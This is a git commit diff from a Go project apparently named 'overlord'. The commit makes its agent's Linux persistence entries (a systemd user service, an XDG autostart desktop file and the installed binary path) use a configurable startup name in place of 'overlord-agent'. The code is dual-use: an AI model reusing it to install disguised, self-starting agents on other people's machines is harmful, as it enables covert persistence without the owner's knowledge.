add custom startup names to mac and linux. Also update readme for windows users who are using the server

This commit is contained in:
KingKDot
2026-04-04 20:42:54 -05:00
parent 985d8a29da
commit 3e198f76a2
7 changed files with 110 additions and 21 deletions
@@ -35,12 +35,19 @@ NoDisplay=false
X-GNOME-Autostart-enabled=true
`
func binaryName() string {
if DefaultStartupName != "" {
return DefaultStartupName
}
return "agent"
}
func getSystemdPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", binaryName()+".service"), nil
}
func getAutostartPath() (string, error) {
@@ -48,7 +55,7 @@ func getAutostartPath() (string, error) {
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil
return filepath.Join(usr.HomeDir, ".config", "autostart", binaryName()+".desktop"), nil
}
func getTargetPath() (string, error) {
@@ -56,7 +63,7 @@ func getTargetPath() (string, error) {
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", binaryName()), nil
}
func install(exePath string) error {